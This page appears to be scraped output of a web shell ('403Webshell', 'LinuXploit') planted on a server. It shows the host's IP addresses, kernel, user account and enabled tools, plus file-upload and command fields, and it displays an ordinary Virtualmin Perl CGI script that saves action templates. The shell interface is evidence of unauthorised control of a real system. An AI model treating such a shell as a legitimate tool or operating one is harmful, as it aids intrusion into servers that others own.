403Webshell
Server IP : 172.67.134.114  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/virtualmin-init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/virtualmin-init/save_tmpl.cgi
#!/usr/bin/perl
# Create, update or delete some action template
use strict;
use warnings;
our (%access, %text, %in, %config);

require './virtualmin-init-lib.pl';
&ReadParse();
$access{'templates'} || &error($text{'tmpl_ecannot'});

my $tmpl;
if (!$in{'new'}) {
	# Get the existing template
	($tmpl) = grep { $_->{'id'} == $in{'id'} } &list_action_templates();
	}

if ($in{'delete'}) {
	# Just remove the action
	&delete_action_template($tmpl);
	&redirect("");
	}
else {
	# Validate inputs
	&error_setup($text{'tmpl_err'});
	$in{'desc'} =~ /\S/ || &error($text{'tmpl_edesc'});
	$tmpl->{'desc'} = $in{'desc'};
	$in{'start'} =~ s/\r//g;
	$in{'start'} =~ /\S/ || &error($text{'tmpl_estart'});
	$tmpl->{'start'} = $in{'start'};
	if ($in{'stop_def'}) {
		$tmpl->{'stop'} = ':kill';
		}
	else {
		$in{'stop'} =~ s/\r//g;
		$tmpl->{'stop'} = $in{'stop'};
		}
	if ($in{'xml_def'} || $config{'mode'} ne 'smf') {
		delete($tmpl->{'xml'});
		}
	else {
		$in{'xml'} =~ s/\r//g;
		$in{'xml'} =~ /\S/ || &error($text{'tmpl_exml'});
		$tmpl->{'xml'} = $in{'xml'};
		}

	# Validate user-definable parameters
	for(my $i=0; defined($tmpl->{'pname_'.$i}); $i++) {
		delete($tmpl->{'pname_'.$i});
		delete($tmpl->{'ptype_'.$i});
		delete($tmpl->{'pdesc_'.$i});
		}
	for(my $i=0; defined($in{'pname_'.$i}); $i++) {
		next if (!$in{'pname_'.$i});
		$in{'pname_'.$i} =~ /^[a-z0-9_]+$/i ||
			&error(&text('tmpl_epname', $i+1));
		$tmpl->{'pname_'.$i} = $in{'pname_'.$i};
		$tmpl->{'ptype_'.$i} = $in{'ptype_'.$i};
		$in{'pdesc_'.$i} =~ /\S/ ||
			&error(&text('tmpl_epdesc', $i+1));
		$tmpl->{'pdesc_'.$i} = $in{'pdesc_'.$i};
		if ($tmpl->{'ptype_'.$i} == 3 || $tmpl->{'ptype_'.$i} == 4) {
			-r $in{'popts_'.$i} ||
				&error(&text('tmpl_epopts', $i+1));
			$tmpl->{'popts_'.$i} = $in{'popts_'.$i};
			}
		else {
			delete($tmpl->{'popts_'.$i});
			}
		}

	# Create or save
	&save_action_template($tmpl);
	&redirect("");
	}

Youez - 2016 - github.com/yon3zu
LinuXploit